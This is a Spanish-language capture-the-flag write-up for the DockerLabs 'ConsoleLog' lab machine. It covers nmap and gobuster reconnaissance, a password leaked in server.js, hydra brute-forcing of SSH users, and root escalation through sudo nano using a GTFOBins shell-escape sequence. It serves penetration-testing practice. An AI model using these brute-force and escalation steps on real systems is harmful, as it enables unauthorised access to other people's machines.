DockerLabs - ConsoleLog
nmap
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
80/tcp open http
3000/tcp open ppp
5000/tcp open upnp
1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ nmap -sCV -p80,3000,5000 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.61 ((Debian))
|_http-title: Mi Sitio
|_http-server-header: Apache/2.4.61 (Debian)
3000/tcp open http Node.js Express framework
|_http-title: Error
5000/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 f8:37:10:7e:16:a2:27:b8:3a:6e:2c:16:35:7d:14:fe (ECDSA)
|_ 256 cd:11:10:64:60:e8:bf:d9:a4:f4:8e:ae:3b:d8:e1:8d (ED25519)
análisis
Al acceder al puerto 80 de la maquina, nos encontramos con la siguiente pagina web:
Si miramos en el código de la pagina, encontramos que el botón, al ser accionado, lanza el método authenticate() del fichero authenticate.js:
Dicho método nos da algunas pistas de por donde podemos seguir:
Si tratamos de acceder al recurso llamado /recurso/, vemos que nos da un error:
Por ello, probamos algo diferente, que en este caso es tratar de obtener por fuerza bruta otros recursos disponibles:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .txt,.html,.php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 234]
/backend (Status: 301) [Size: 310] [--> http://172.17.0.2/backend/]
/javascript (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
Nos encontramos con el recurso backend, en el que nos listan el contenido de la carpeta del servicio desplegado en el puerto 3000 de la maquina:
Revisando el fichero server.js, encontramos una contraseña:
acceso inicial
Probamos a ver si la contraseña pertenece a algún usuario por SSH empleando hydra para aplicar fuerza bruta:
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ hydra -L /usr/share/seclists/Passwords/rockyou.txt -p lapa******************************** ssh://172.17.0.2:5000 -t 64 -I
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:14344399/p:1), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:5000/
[5000][ssh] host: 172.17.0.2 login: l***** password: lapa********************************
Concluimos que la contraseña pertenece a cierto usuario por SSH, y nos conectamos con dichas credenciales:
escalada de privilegios (root)
Revisando los permisos SUDO del usuario obtenido, encontramos que puede ejecutar el binario /usr/bin/nano como el usuario root:
1
2
3
4
5
6
l*****@dfebfa8554fa:~$ sudo -l
Matching Defaults entries for l***** on dfebfa8554fa:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User l***** may run the following commands on dfebfa8554fa:
(ALL) NOPASSWD: /usr/bin/nano
Comprobamos en GTFOBins que podemos obtener una consola como el usuario root realizando las siguientes acciones:
La secuencia es: [Ctrl+R] + [Ctrl+X] + la cadena reset; sh 1>&0 2>&0
Una vez introducido, vemos que obtenemos la consola:










